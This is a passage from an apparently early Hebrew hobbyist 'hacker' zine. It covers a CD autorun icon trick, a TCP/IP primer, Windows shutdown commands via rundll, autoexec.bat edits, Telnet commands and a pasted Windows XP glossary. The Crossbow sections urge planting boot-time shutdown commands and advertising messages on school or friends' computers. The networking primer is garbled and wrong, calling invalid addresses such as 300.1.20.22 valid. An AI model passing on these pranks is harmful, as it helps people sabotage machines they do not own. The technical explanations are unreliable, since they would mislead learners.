.1עריכה+תיכנות בשפה המקצועית "אסמבלי" (-כל הקראקים שאתם מורידים)
.2רג'יסטרים.
.3תוכנות פירצה על מימשק " "winשאותם ניתן להוריד באגף תוכנות הקראקרים.
399
.4עריכה בשפת .C
.5הגדרת סי די רום וירטואלי.
שבהנחה " cd.icoזה שם האייקון וברור שהוא נימצא שם ,גם מוסתר .
פשוט תמחקו את שנייהם וזהו בהנחה בלבד שזה התקל .אבל לא חייב!
זה אפילו אם בא לכם לשנות או להעיף אייקון או שאתם צורבים דיסק שלכם ובא לכם לשים.
אם אתם לא בטוחים שהאייקון זה לא המדריך בישבילכם.
.3אחרי שפתחתם קובץ ( TXTטקסט) חדש תשיגו את האייקון שאתם רוצים שזה
יהיה אייקון הסידי.
?K.4
האייקון שאתם רוצים שהוא יהיה סמל הסידי שמו elite.icoלדוגמה?..
זוכרים את הטקסט?
רשמו בו עכשיו כך
[]autorun
=iconשם האייקון שלכםico.
400
.5שנו את תכונות הקבצים במאפיינים למוסתרים וקריאה בלבד.
.6תצרבו את מה שאתם רוצים ואת שני הקבצים האלו גם ישר לתוך הסי די
ללא שום מחיצה ובסוף הצריבה יהיה אייקון .אל תדאגו הם מוסתרים! לא רואים אותם
אבל רק שתעשו <"המחשב שלי" > והסי די יהיה בכונן תראו אייקון יפה.
שלכם,
Golgolet
מבנה TCP/IP
טוב ,היום אני הולך להסביר בצורה הכי פשוטה שיש איך פועל .Tcp/Ip
טוב ,מה זה אייפי? אייפי = אינטרנט פרוטוקול .לכל מחשב מארח יש אחד כזה.
נגיד ,כשאתם ניכנסים לדפדפן האינטרנט ,מה שאתם רואים זה לא אינטרנט .מה
שאתם רואים זה תיקשור בין המחשב שלכם למחשב המארח באמצעות האינטרנט .טוב,
אז הנה עוד כמה דברים על אייפי .אייפי הוא בעצם סטרינג מסויים .הסטרינג
הזה שוקל מקסימום 15ביטים ,יעני יכולים להיות בו מקסימום חמש עשרה תוים.
האייפי מתחלק לארבעה חלקים .כל חלק מופרד על ידי נקודה .בכל חלק מקסימום
3ביטים ,יעני יכולים להיות מקסימום שלושה תוים .כל תו באייפי הוא מספר.
כל חלק של כתובת האייפי יכול להיות בין אפס למאתיים חמישים וחמש.
401
הנה כמה דוגמאות לכתובות אייפי חוקיות:
62.90.90.132
125.0.55.33
255.0.1.1
200.200.200.200
300.1.20.22
62.0.62
0.0.0.300
200.256.0.127
טוב ,עכשיו אני מקווה שהבנתם קצת יותר טוב .נגיד שאתם פותחים את הדפדפן
אינטרנט שלכם ופותחים את האתר של הטייגרס ...סתם דוגמא .אז הנה איך זה
קורה :הדפדפן שלכם שולח פקודות יוניקס למחשב המארח שלכם .המחשב המארח
שלכם שולח את הבקשה בצורה בינארית למחשב של הטייגרס ,ואז המחשב שלנו מאשר
אתכם ,שולח לשרת שלכם מידע של טקסט או סאונד או תמונות בדרך בינארית ,ואז
המחשב שלכם מקבל פקודות יוניקס ,והדפדפן מתרגם את הפקודות למה שאתם רואים
על המסך .נגיד שהשגתם אייפי של מישהו ,ואתם רוצים לדעת מה השרת שלו .אז
אפשר לדעת לפי הסיומת של האייפי .אז הנה רשימה קצרה של סיומות אייפי:
הסיומות נכתבו לפי הכתבה של פטשר על סיומות האייפי .אבל רגע ,איך משיגים
אייפי של מישהו? טוב ,יש דרך די קלה :תפתחו חלון אם אס דוס ,תכתבו
netstat -anוהוא יראה לכם את כל החיבורים הזמינים .אז ,אם נגיד יש לכם
מישהו ממש מניאק באייסיקיו ,אתם יכולים לפתוח חלון אס אס דוס ,והוא יכתוב
לכם אייפי וליד נקודותיים וליד את מספר הפורט ,שעל פיו אפשר לדעת בדיוק
מה זה .כל סוגי המידע באינטרנט מחולקים לפי מספרים שנקראים פורטים.
המחשב שולח ומקבל מידע לפי הפורט .הנה כמה מספרי פורטים שסתם אני זוכר:
ואללה ,זה כל מה שאני זוכר .סורי .פורטים ,מספרי אייפי ומידע בינארי זה
402
האינטרנט .זה הכל ,מצטער לאכזב אתכם .האינטרנט מורכב בסך הכל לא מהרבה:
סך הכל שלושה דברים עיקריים .יש עוד דבר אחד :איך להשיג את מספר האייפי
שלכם .טוב ,עושים התחל ,ואחרי זה הפעלה וכותבים WINIPCFGולוחצים אנטר.
שימו לב שאם אתם לא מחוברים כתובת האייפי שלכם תהיה ,127.0.0.1יעני משהו
כמו כתובת מקומית .רק אחרי שתתחברו לאינטרנט תדעו מה האייפי שלכם.
Crossbow
:ExitWindowsסוגר את המחשב.
:ExitWindowsExeCעושה ריסט לוינדואוז.
403
:UpdateWindowמעדכן את החלון הקיים.
:GetSystemDebugStateמשיג את הדיבאגר של וינדואוז.
:GetMenuStateמשיג מצב של תפריט.
:CreateCursorמשיג את הסמן של העכבר.
:LoadCursorטוען את הסמן של העכבר.
:GetForegroundWindowמשיג את החלון האחורי ביותר.
C:\Windows\Rundll.exe user.exe,exitwindowsexec
זאת לדוגמא הרצה של פקודת ריסט .יש כמה אפשרויות לשימוש בפקודות האלה:
)1לעשות קיצורי דרך לסגירה של המחשב ושל ריסט ,במקום התהליך הארוך מאוד
של ללחוץ על "התחל"" ,כיבוי" ,ואז לסגור.
)2לעשות משימה מתוזמנת על סגירה של מחשב ,מומלץ בתוך מחשבים של ב"ס או
של חברים "טובים" שלכם ,יעני כל פעם שוינדואוז עולה ,המחשב ייכבה.
)3לשים אותם בקבצי אצווה מסויימים ,משחקים שפועלים על קובץ אצווה ,למשל.
טוב ,פה המדריך מסתיים .אפשר לראות גם את הקשר בין הפקודות שציינתי למעלה
לבין ,Windows APIכי כל APIמבוסס על הקבצים האלה .הרעיון של כל המדריך
הזה הוא בעיקר רק כדי שתבין את מבנה הוינדואוז ואת התהליכים שקורים בו.
למי שממש רוצה יכול לפתוח את User.exeבעזרת הכלי .Editלמי שלא יודע איך
ולמה אז :הסיבה היא שבעזרת עורך טקסט מבוסס וינדואוז זה לא יעבוד ,והעורך
הטוב ביותר (והיחיד המוכר!!!) לדוס הוא .Editאז תעשו "התחל"" ,הפעלה",
תכתבו " "Edit C:\Windows\System\User.exeותלחצו אנטר .אל תשנו שום דבר
בקובץ רק תסתכלו ונסו להבין משהו.
שלכם,
Crossbow
404
שמטרתו היא להגדיר למערכת איך להשתמש באם אס דוס .טוב ,עכשיו ,שתבינו,
הקובץ הזה נפתח בעצם כשהמחשב נפתח .הרבה לפני וינדואוז .אני מדבר כמובן
רק על גירסאות 95או 98של וינדואוז ,או לאנשים ממש מסכנים על שלוש אחד
עשרה :הגרסא הכי מסכנה של וינדואוז ,אין לה אפילו את הרג'יסטרי ...טוב,
בואו נחזור לקובץ שלנו .הקובץ נמצא בדרך כלל ,או אני חושב אפילו שתמיד:
C:/Autoexec.bat
נגיד שאתם בבית ספר ובראש שלכם להעביר מסר לכל מי
שייפתח את המחשב .תפתחו את הקובץ שלנו ,את אוטואיאקסאיסי נקודה באט ,עם
הדבר הכי גאוני שנוצר :הפנקס רשימות של וינדואוז .עכשיו ,אתם תראו משהו
כמו שתי שורות ,בדרך כלל .בקיצר ,לא לגעת בהן! הן מאוד מאוד חשובות! טוב,
עכשיו תכתבו מתחת לשורות האלה מה שאתם רוצים ,עם ההצהרה לכתיבה .נגיד
שאנחנו רוצים לפרסם את האתר אינטרנט הכי טוב שקיים ,אז נכתוב ככה בערך:
ECHO http://www.********.co.il
ואז כל מי שייפתח את המחשב ייראה ככה .עוד דבר מגניב שיש הוא שאפשר לסגור
את המחשב עוד לפני שהוא נפתח .פשוט תרשמו בקובץ אוטואיאקסאיסי ככה:
CALL c:\windows\rundll.exe user.exe,exitwindows
מה שיסגור את המחשב!!! חה חה חה! טוב ,זה הי די מגניב! תתעסקו קצת עם זה,
אני עוד אחזור עם עוד קבצים כאלה!!!
שלכם,
Crossbow
405
WINDOS XPבישביל ההאקרים
תכנסו לעזרה יש מילון מושגים והסברים על טלנט אני מאמין שגם על
עוד דברים
פקודות של TELNET
פקודות Telnet
שורת הפקודה של Telnet Clientמקבלת את הפקודות הבאות:
תיאור פקודה
השתמש בפקודה open hostname portnumberכדי ליצור התקשרות Telnetלמחשב
open
המארח.
השתמש בפקודה closeכדי לסגור התקשרות Telnetקיימת. close
Telnet.כדי להציג את ההגדרות הנוכחיות עבור לקוח displayהשתמש בפקודה
לא תתבקש לספק שם וסיסמת כניסה בעת NTLM,בעת השימוש באימות של
.התקשרות למחשב מרוחק
בעת הפעלת יישומים רגילים של שורת פקודה VT100 .השתמש בסוג המסוף
בעת הפעלת יישומים מתקדמים של שורת פקודה VTNT ,השתמש בסוג המסוף
edit.כגון
• קובע את רצף המקשים לשימוש לשם מעבר ממצב הפעלה ESCAPE Character
406
set escape,כתו היציאה ,הקלד CTRL+Pלמצב פקודה .לדוגמה ,כדי לקבוע את
ENTER.ולאחר מכן הקש CTRL+Pהקש
• קובע את הקובץ שישמש לרישום פעילות LOGFILE FileName
.קובץ יומן הרישום חייב להיות במחשב המקומי שלך Telnet.
HFM
407
מילון מושגים של WINDOS XP
אל תלחצו על הקישורים הם לא פועלים
סימנים
100baseT
תקן Ethernetעבור רשתות תקשורת מקומיות בהן נעשה שימוש בכבל twisted-pair
להעברת נתונים בקצב של 100מגה-סיביות לשניה (.)Mbps
10base2
תקן Ethernetו IEEE 802.3 -עבור רשתות תקשורת מקומיות של פס-בסיס בהן נעשה
שימוש בכבל קואקסיאלי דק באורך עד 200מטר; ברשתות אלה ,העברת נתונים היא בקצב של
10מגה-סיביות לשניה ( .)Mbpsכבלים מחוברים למתאמי רשת באמצעות מחבר .BNC
10baseT
תקן Ethernetעבור רשתות תקשורת מקומיות בהן נעשה שימוש בכבל twisted-pair
להעברת נתונים בקצב של 10מגה-סיביות לשניה (.)Mbps
A
Active Directory
שירות הספריות המאחסן מידע אודות אובייקטים ברשת והופך את המידע לזמין עבור
משתמשים ומנהלי רשתות Active Directory .מאפשר למשתמשי רשת גישה למשאבים
מורשים בכל מקום ברשת באמצעות תהליך כניסה בודד .הוא מספק למנהלי רשתות הצגה
אינטואיטיבית והירארכית של הרשת ונקודת ניהול יחידה עבור כל האובייקטים ברשת.
ActiveX
קבוצה של טכנולוגיות המאפשרת לרכיבי תוכנה לקיים אינטראקציה ביניהם בסביבת רשת,
מבלי להתחשב בשפה שבה נוצרו הרכיבים.
מפרט תעשייתי פתוח המגדיר את ניהול צריכת החשמל במגוון רחב של מחשבים ניידים,
מחשבים שולחניים ,שרתים וציוד היקפי ACPI .הוא הבסיס של היוזמה התעשייתית OnNow
408
המאפשרת ליצרני מערכות לספק מחשבים שיופעלו על-ידי הקשה בודדת בלוח המקשים .תכנון
ACPIהוא חיוני לניצול מירבי של יתרונות ניהול צריכת החשמל והכנס-הפעל.
ערכה סטנדרטית לקידוד תווים בגודל בית המשמשת עבור נתונים מבוססי טקסט .ערכת ASCII
משתמשת בצירופי מספרים מיועדים בני 7סיביות או 8סיביות לייצוג 128או 256תווים
אפשריים .ערכת ASCIIסטנדרטית משתמשת ב 7 -סיביות לייצוג כל האותיות הרישיות
והאותיות הקטנות ,המספרים 0עד ,9סימני הפיסוק ותווי בקרה מיוחדים המשמשים באנגלית
אמריקאית .מרבית המערכות הנוכחיות המבוססות על x86תומכות בשימוש בערכת ASCII
מורחבת (או "גבוהה") .ערכת ASCIIמורחבת מאפשרת לסיבית השמינית של כל תו לזהות
128תווי סימנים מיוחדים נוספים ,אותיות בשפות זרות וסמלים גרפיים.
AppleTalk
B
BIOS
ראה הגדרה עבור :מערכת קלט/פלט בסיסית ()BIOS
C
CD-R
תקליטור שניתן לכתוב עליו .ניתן להעתיק נתונים לתקליטור במהלך מספר פעמים ,אך לא ניתן
למחוק נתונים מהתקליטור.
CD-RW
תקליטור הניתן לכתיבה חוזרת .ניתן להעתיק נתונים לתקליטור במהלך מספר פעמים וגם למחוק
אותם.
409
(CMOS) Complementary Metal Oxide Semiconductor
סוג ספציפי של טכנולוגיית מוליכים למחצה שצריכת החשמל שלהם נמוכה ביותר .משמעותו
המקובלת של המונח היא אזור אחסון קטן שבו המערכת מנהלת מעקב אחר פרמטרי חומרה
מסוימים ,כגון גודל הדיסק הקשיח ,מספר היציאות הטוריות במחשב וכו' CMOS .מכונה גם
.Setup RAM
D
(DSL) Digital Subscriber Line
סוג של התקשרות אינטרנט מהירה באמצעות קווי הטלפון הרגילים .התקשרות זה מכונה גם
התקשרות פס רחב.
DirectX
DLL
ראה הגדרה עבור :ספריית קישור דינאמי ()DLL
DNS
ראה הגדרה עבור)DNS( Domain Name System :
מסד נתונים הירארכי מבוזר המכיל מיפויים של שמות תחומי DNSאל מגוון סוגי נתונים ,כגון
כתובות DNS .IPמאפשר איתור מחשבים ושירותים לפי שמות ידידותיים למשתמש; בנוסף,
הוא מאפשר זיהוי של מידע אחר המאוחסן במסד הנתונים.
DHCPעושה שימוש במודל שרת/לקוח שעל פיו שרת DHCPמנהל באופן מרוכז כתובות IP
הנמצאות בשימוש ברשת .ללקוחות התומכים ב DHCP -יש אפשרות לבקש ולקבל חכירה של
כתובת IPמשרת DHCPכחלק מתהליך אתחול הרשת שלהם.
410
E
EFI
ראה הגדרה עבור :ממשק קושחה בר-הרחבה ()EFI
שפת מטה-סימון המספקת תבנית לתיאור נתונים מובנים .דבר זה מקל על יצירת הצהרות
מדויקות יותר של תוכן ותוצאות חיפוש משמעותיות יותר על-פני פלטפורמות מרובות .בנוסף,
XMLיאפשר יצירת דור חדש של יישומי הצגה וטיפול בנתונים מבוססי אינטרנט.
F
FAT
ראה הגדרה עבור :טבלת מיקומי קבצים ()FAT
FAT32
נגזרת של מערכת הקבצים של טבלת מיקומי קבצים ( FAT32 .)FATתומכת באשכולות קטנים
יותר ואמצעי אחסון גדולים יותר מאשר ,FATוכתוצאה מכך הקצאת השטח באמצעי אחסון של
FAT32יעילה יותר.
ראה גם :אמצעי אחסון; טבלת מיקומי קבצים ( ;)FATמערכת קבצים של NTFS
Firewall
שילוב של חומרה ותוכנה המספק מערכת אבטחה ,בדרך כלל על-מנת למנוע גישה לא מורשית
מבחוץ לרשת פנימית או אינטרא-נט Firewall .מונע תקשורת ישירה בין מחשבי הרשת
ומחשבים חיצוניים על-ידי ניתוב התקשורת דרך שרת Proxyמחוץ לרשת .שרת הProxy -
קובע אם העברת קובץ אל הרשת היא בטוחה או לא Firewall .מכונה גם שער אבטחת קצה.
G
אין במילון מונחים המתחילים באות זו.
H
HTTP
ראה הגדרה עבור :פרוטוקול העברת היפר-טקסט ()HTTP
Hub
נקודת חיבור משותפת להתקנים ברשת .ה Hub -משמש בדרך כלל לחיבור מקטעים של רשת
תקשורת מקומית ( )LANולכן הוא מכיל יציאות מרובות .כאשר נתונים מגיעים ביציאה אחת,
הם מועתקים אל היציאות האחרות כדי שכל המקטעים של ה LAN -יראו את הנתונים.
411
ראה גם hub :של מיתוג; יציאה; רשת תקשורת מקומית ()LAN
hubשל מיתוג
התקן רשת מרכזי ( hubמרובה יציאות) המעביר מנות ליציאות ספציפיות שלא כמו בhub -
רגילים ,המשדרים כל מנה לכל יציאה .באופן זה ,ההתקשרויות בין יציאות מעבירות את רוחב
הפס הזמין המלא.
שפת סימונים פשוטה המשמשת ליצירת מסמכי היפר-טקסט הניתנים להעברה מפלטפורמה אחת
לאחרת .קבצי HTMLהם קבצי טקסט ASCIIפשוטים עם קודים מוטבעים (המצוינים
באמצעות תגי סימון) המציינים עיצוב וקישורי היפר-טקסט.
I
IEEE 1394
תקן להתקנים טוריים מהירים כגון ציוד עריכת אודיו או שמע דיגיטליים.
קהילה פתוחה של מתכנני רשתות ,מפעילים ,ספקים וחוקרים בעלי עניין בהתפתחות
ארכיטקטורת האינטרנט ובפעילותו התקינה של האינטרנט .עבודה טכנית מבוצעת על-ידי
קבוצות עבודה המאורגנות לפי תחומים (כגון ניתוב ,העברה ואבטחה) ובאמצעות רשימות
נמענים .פיתוח תקני אינטרנט נעשה במסמכי RFCשל ,IETFשהם סידרה של הערות הדנות
בהיבטים הרבים של מיחשוב ותקשורת מחשבים ,תוך התמקדות בפרוטוקולי רשתות ,תוכניות
ותפיסות.
שירותי תוכנה התומכים ביצירה ,הגדרה וניהול של אתר אינטרנט ,וכן פעולות אינטרנט נוספות.
Internet Information Servicesכולל את הפרוטוקול להעברת חדשות ברשת (,)NNTP
פרוטוקול העברת הקבצים ( )FTPופרוטוקול העברת הדואר הפשוט (.)SMTP
ראה גם ;)NNTP( Network News Transfer Protocol :פרוטוקול העברת קבצים ()FTP
412
IPX/SPX
שירות טלפון דיגיטלי מהיר שיכול להגביר באופן דרמטי את מהירות החיבור שלך לאינטרנט או
לרשת ( LANרשת תקשורת מקומית) של החברה שלך .טכנולוגיית ISDNיכולה לפעול
במהירות של 128קילו-סיביות בשניה ( ,)Kbpsמהירות הגבוהה פי חמישה או יותר ממודמים
אנלוגיים רבים.
J
אין במילון מונחים המתחילים באות זו.
K
אין במילון מונחים המתחילים באות זו.
L
(Layer 2 Tunneling Protocol) L2TP
שירות בשרת ההדפסה המקבל מסמכים (משימות הדפסה) מכלי שירות של Line Printer
)LPR( Remoteהפועלים במערכות לקוח.
ראה גם ;)LPR( Line Printer Remote :משימת הדפסה; שירות; שרת הדפסה
413
(LPR) Line Printer Remote
כלי שירות של קישוריות הפועל במערכות לקוח ומשמש להדפסת קבצים במחשב שבו פועל
שרת .LPD
M
Make Changes
מערכת הפעלה בה נעשה שימוש בכל המחשבים האישיים והמחשבים התואמים .כמו כל מערכת
הפעלה אחרת ,כגון ,OS/2היא מתרגמת קלט לוח מקשים של המשתמש לפעולות הניתנות
לביצוע על-ידי המחשב .הגישה ל MS-DOS -יכולה להתבצע בקלות באמצעות שורת הפקודה,
והגישה לתוכניות מבוססות MS-DOSיכולה להתבצע באמצעות קיצורי דרך בשולחן העבודה.
N
(NetBEUI) NetBIOS Extended User Interface
פרוטוקול רשת המהווה חלק מ .Microsoft Networking -הוא משמש לרוב ברשתות
תקשורת מקומיות ( )LANקטנות בגודל מחלקה המורכבות מלקוח אחד עד .200הוא יכול
להשתמש בניתוב מקור של Token Ringכשיטת הניתוב היחידה .זהו יישום תקן NetBIOS
של .Microsoft
414
O
OLE
דרך להעברה ושיתוף של מידע בין יישומים על-ידי הדבקת מידע שנוצר ביישום אחד במסמך
שנוצר ביישום אחר ,כגון גיליון אלקטרוני או קובץ של מעבד תמלילים.
OS/2
מערכת הפעלה עם מצב מוגן ,זיכרון וירטואלי וריבוי משימות עבור מחשבים אישיים המבוססים
על מעבדי i486 ,80386 ,80286 Intelו .Pentium -ל OS/2 -יש אפשרות להפעיל את
מרבית התוכניות המבוססות על MS-DOSולקרוא את כל הדיסקים של .MS-DOS
P
Panose
שיטה למיון גופנים המודדת ערכים ,כגון תגי דפוס ,עובי ווריאציות הקשה ,עבור גופן
.TrueTypeערכים אלה מיוצגים באמצעות מספר .Panoseמספר ה Panose -משמש לשיוך
הגופן לגופנים אחרים בעלי מראה דומה אך שמות שונים .ככל שההפרש בין מספרי הPanose -
של שני גופנים קטן יותר ,כך הם דומים יותר.
מפרט שהונהג על-ידי Intel Corporationומגדיר מערכת אפיק מקומית המאפשרת התקנה של
עד 10כרטיסי הרחבה התואמים ל.PCI -
PKCS #12
תקן תחביר חילופי המידע האישי ,שפותח ומתוחזק על-ידי .RSA Data Security, Inc.תקן
תחביר זה קובע תבנית ניידת לאחסון או לתעבורה של מפתחות פרטיים ,אישורים ופריטי מידע
מוצפנים שונים של משתמש.
PKCS #7
תקן תחביר הודעות הקריפטוגרפיה .זוהו תחביר כללי ,שפותח ומתוחזק על-ידי RSA Data
,Security, Inc.עבור נתונים שייתכן שתוחל עליהם קריפטוגרפיה ,כגון חתימות דיגיטליות
והצפנה .הוא מספק גם תחביר עבור הפצת אישורים או רשימות ביטול אישורים.
415
(PPP) Point-to-Point Protocol
מפרט להתקשרות של משתמשים ברשת Ethernetלאינטרנט באמצעות חיבור פס רחב ,כגון קו
DSLיחיד ,התקן אלחוטי או מודם כבלים .השימוש ב PPPoE -ובמודם פס רחב מאפשר
למשתמשי LANקבלת גישה מאומתת ואישית לרשתות נתונים מהירות .על-ידי שילוב
Ethernetו PPPoE ,)PPP( Point-to-Point Protocol -מספק דרך יעילה ליצירת
התקשרות נפרדת לשרת מרוחק עבור כל משתמש.
ראה גם ;Tunnel ;)NetBEUI( NetBIOS Extended User Interface :מנה; פרוטוקול
אינטרנט ( ;)IPרשת פרטית וירטואלית ()VPN
PostScript
ראה גם ;)PJL( Printer Job Language ;)PCL( Printer Control Language :גופני
;PostScriptגופני ;Type 1מדפסת ;PostScriptשירות; שפת תיאור עמוד ()PDL
ראה גם ;)PJL( Printer Job Language ;PostScript :שפת תיאור עמוד ()PDL
416
(PJL) Printer Job Language
שפת הפקודה של המדפסת שפותחה על-ידי Hewlett Packardומספקת בקרת מדפסת ברמת
משימת ההדפסה .באמצעות פקודות ,PJLבאפשרותך לשנות הגדרות מדפסת המשמשות
כברירת מחדל כגון מספר העותקים להדפסה .פקודות PJLמאפשרות גם החלפת שפות מדפסת
בין משימות הדפסה ללא פעולה מצד המשתמש .אם קיימת תמיכה בתקשורת דו-כיוונית,
למדפסת תואמת PJL-יש אפשרות לשלוח מידע כגון דגם מדפסת ומצב משימה לשרת ההדפסה.
ראה גם ;)PCL( Printer Control Language ;PostScript :שפת תיאור עמוד ()PDL
Q
אין במילון מונחים המתחילים באות זו.
R
RAM
ראה הגדרה עבור :זיכרון גישה אקראית ()RAM
Resource DLL
ROM
ראשי תיבות של ( Read-Only Memoryזיכרון קריאה בלבד) ,מעגל מוליך למחצה שלתוכו
קוד או נתונים מותקנים באופן קבוע בתהליך הייצור ROM .מכיל הוראות או נתונים שניתן
לקרוא אותם אך לא לשנותם.
S
Script
סוג של תוכנית המורכבת מסידרה של הוראות לתוכנית של כלי או יישום .בדרך כלל ,הוראות
מבוטאות ב Script -באמצעות הכללים והתחביר של היישום או הכלי ,יחד עם מבני בקרה
פשוטים כגון לולאות או ביטויי .if/thenהמונח " "Scriptמשמש לחלופין עם המונח "תוכנית
אצווה" בסביבת .Windows
417
Scriptלכניסה
קבצים שניתן להקצות לחשבונות משתמשים Script .לכניסה הוא לרוב קובץ אצווה הפועל
באופן אוטומטי בכל פעם שהמשתמש מבצע כניסה למערכת .ניתן להשתמש בו לשם הגדרת
סביבת העבודה של משתמש בכל כניסה ,והוא מאפשר למנהל להשפיע על סביבת העבודה של
משתמש מבלי לנהל את כל ההיבטים הכרוכים בכך .ניתן להקצות קבצי Scriptלכניסה לחשבון
משתמש אחד או יותר.
תקן פתוח מוצע עבור יצירת ערוץ תקשורת מאובטח כדי למנוע קליטה של מידע קריטי ,כגון
מספר כרטיס אשראי .הוא משמש בעיקר ליצירת עיסקאות פיננסיות אלקטרוניות מאובטחות ב-
,World Wide Webעל אף שהוא נועד לפעול גם בשירותי אינטרנט אחרים.
הרחבה של MIMEלשם תמיכה בדואר מאובטח .היא מאפשרת ליוצרי הודעות לבצע חתימה
דיגיטלית על הודעות דואר אלקטרוני כדי לספק הוכחה למקור ההודעה ותקינות הנתונים .היא
מאפשרת גם שידור הודעות בתבנית מוצפנת ליצירת תקשורת חסויה.
ממשק מקביל ותקני במהירות גבוהה שהוגדר על-ידי American National Standards
.)ANSI( Instituteממשק SCSIמשמש לחיבור מיקרו-מחשבים להתקנים היקפיים כגון
דיסקים קשיחים ומדפסות ,ולמחשבים אחרים ורשתות תקשורת מקומיות (.)LAN
החלק במתאר האבטחה של אובייקט המציין אילו אירועים ייבדקו לפי משתמש או קבוצה .גישה
לקובץ ,ניסיונות כניסה וכיבויי מערכת הם דוגמאות לאירועי בדיקה.
systemroot
שם התיקיה והנתיב שבו קבצי המערכת של Windowsממוקמים .על פי רוב ,המיקום הוא
,C:\Windowsאם כי ניתן לייעד תיקיה או כונן שונים בעת התקנת .Windowsבאפשרותך
להשתמש בערך %systemroot %להחלפת המיקום הממשי של התיקיה המכילה את קבצי
המערכת של .Windowsכדי לזהות את תיקיית ,systemrootלחץ על התחל ,לחץ על הפעלה,
הקלד %systemroot%ולאחר מכן לחץ על אישור.
T
TCP/IP
ראה הגדרה עבור)TCP/IP( Transmission Control Protocol/Internet Protocol :
418
(TAPI) Telephony API
ממשק תיכנות יישומים ( )APIהמשמש בתוכניות תקשורת לעבודה עם שירותי טלפוניה ורשת.
בתוכניות תקשורת כגון היפר-מסוף וחייגן נעשה שימוש ב TAPI -לחיוג ולניתוב שיחות
ולמענה עליהן בהתקני טלפוניה רגילים ,ובכלל זה התקני ,PBXמודמים ומכשירי פקסTAPI .
3.0מספק גם תמיכת טלפוניה של פרוטוקול אינטרנט ( ,)IPהמשמשת חייגן ותוכניות אחרות
לשידור ,ניתוב וביצוע בקרה של אותות שמע ווידאו בזמן-אמת על פני רשתות מבוססות IP-כגון
האינטרנט.
Telnet
פרוטוקול הדמיית מסוף הנמצא בשימוש נרחב באינטרנט למטרת כניסה למחשבי רשת .כמו כן,
Telnetמתייחס ליישום המשתמש בפרוטוקול Telnetעבור משתמשים הנכנסים ממיקומים
מרוחקים.
קבוצה של פרוטוקולי עבודה ברשת הנמצאים בשימוש נרחב באינטרנט ומספקים תקשורת על-
פני רשתות מחוברות הדדית של מחשבים בעלי ארכיטקטורות חומרה מגוונות ומערכות הפעלה
שונות TCP/IP .כולל תקנים הנוגעים לאופן התקשורת בין מחשבים ומוסכמות עבור חיבור
רשתות וניתוב תעבורה.
פרוטוקול תקני המספק תקשורות אינטרנט מאובטחת באינטרנט או ברשתות אינטרא-נט .הוא
מאפשר ללקוחות לאמת שרתים או מאפשר לשרתים ,באופן אופציונלי ,לאמת לקוחות .הוא
מספק גם ערוץ מאובטח על-ידי הצפנת תקשורות TLS .הוא הגירסה העדכנית והמאובטחת יותר
של פרוטוקול .SSL
Tunnel
התקשרות לוגית שבה נתונים נעטפים .על פי רוב ,מתבצעות הן יצירת מעטפה והן הצפנה וה-
Tunnelהוא קישור פרטי ומאובטח בין מחשב מארח מרוחק או משתמש מרוחק ורשת פרטית.
419
U
Unicode
תקן קידוד תווים שפותח על-ידי Unicode Consortiumומייצג כמעט את כל השפות הכתובות
בעולם .רפרטואר התווים של Unicodeכולל צורות ייצוג רבות ,בין היתר UTF-16 ,UTF-8
ו .UTF-32 -מרבית ממשקי Windowsמשתמשים בצורת הייצוג .UTF-16
הפניה לערכת תווים תקנית בינלאומית המהווה חלק מתקן .Unicodeהגירסה הקיימת הנפוצה
ביותר של תקן UCSהיא ,UCS-2המציינת ערכי תווים של 16סיביות המוכרים ומקובלים
כעת בשימוש עבור קידוד מרבית שפות העולם.
ערכת תווים עבור פרוטוקולים המתפתחת מעבר לשימוש ב .ASCII -פרוטוקול UTF-8תומך
בתווי ASCIIמורחבים ובתרגום של ,UCS-2שהיא ערכת תווים בינלאומית של Unicode
של 16סיביות UTF-8 .מאפשר טווח שמות רחב בהרבה מזה שניתן להשיג באמצעות קידוד
ASCIIאו ASCIIמורחב עבור נתוני תווים.
כתובת המזהה באופן ייחודי מיקום באינטרנט .כתובת URLעבור אתר World Wide Web
נפתחת ב ,http:// -כמו בכתובת ה URL -הבדויה:
.http://www.example.microsoft.com/כתובת URLעשויה להכיל פירוט רב יותר ,כגון
שם של דף היפר-טקסט ,המזוהה בדרך כלל באמצעות סיומת שם הקובץ .htmlאו .htm
URL
ראה הגדרה עבור)URL( Uniform Resource Locator :
V
V.34
תקן שידור נתונים המספק תקשורת של עד 33,600סיביות לשניה ( )bpsדרך קווי טלפון .הוא
מגדיר טכניקת אפנון דופלקס מלא (דו-כיוונית) וכולל תיקון שגיאות ומשא ומתן.
420
V.90
תקן שידור נתונים המספק תקשורת של עד 56,000סיביות בשניה ( )bpsדרך קווי טלפון.
מהירות השידור מהמודם בצד הלקוח היא ,33,600 bpsכמו ב .V.34 -מהירות השידור
מהמודם בצד המחשב המארח ,כגון ספק שירותי אינטרנט ( )ISPאו רשת של חברה ,היא עד
,56,000 bpsעם מהירות ממוצעת של 40,000עד .50,000 bpsכאשר המודם בצד המארח
אינו תומך בתקן זה ,החלופה היא .V.34
שיטה לשליחת קול דרך רשת תקשורת מקומית ( ,)LANרשת תקשורת מרחבית ( )WANאו
האינטרנט באמצעות מנות .TCP/IP
W
(WebDAV) Web Distributed Authoring and Versioning
פרוטוקול יישום הקשור ל HTTP 1.1 -ומאפשר ללקוחות לפרסם ולנהל בצורה שקופה
משאבים ב.World Wide Web -
WebDAV
ראה הגדרה עבור)WebDAV( Web Distributed Authoring and Versioning :
מערכת לסיור באינטרנט באמצעות היפר-קישורים .בעת שימוש בדפדפן אינטרנט ,האינטרנט
מופיע כאוסף של טקסט ,תמונות ,צלילים וסרטים דיגיטליים.
X
x86
Y
אין במילון מונחים המתחילים באות זו.
421
Z
אין במילון מונחים המתחילים באות זו.
א
אובייקט
ישות ,כגון קובץ ,תיקיה ,תיקיה משותפת ,מדפסת או אובייקט ,Active Directoryהמתואר
באמצעות קבוצת תכונות נבדלת ובעלת שם .לדוגמה ,התכונות של אובייקט קובץ כוללות את
שמו ,מיקומו וגודלו; התכונות של אובייקט משתמש Active Directoryעשויות לכלול את
השם הפרטי ,שם המשפחה וכתובת הדואר האלקטרוני של המשתמש.
עבור OLEו ,ActiveX -אובייקט עשוי גם להוות כל פיסת מידע שניתן לקשרה אל אובייקט
אחר או להטביעה באובייקט אחר.
אוסף של הגדרות מדיניות קבוצתית .אובייקטי מדיניות קבוצתית הם ביסודו של דבר המסמכים
שנוצרו על-ידי יישום ה Snap-in -של מדיניות קבוצתית ,שהוא כלי שירות של .Windows
אובייקטי מדיניות קבוצתית מאוחסנים ברמת קבוצת המחשבים והם משפיעים על משתמשים
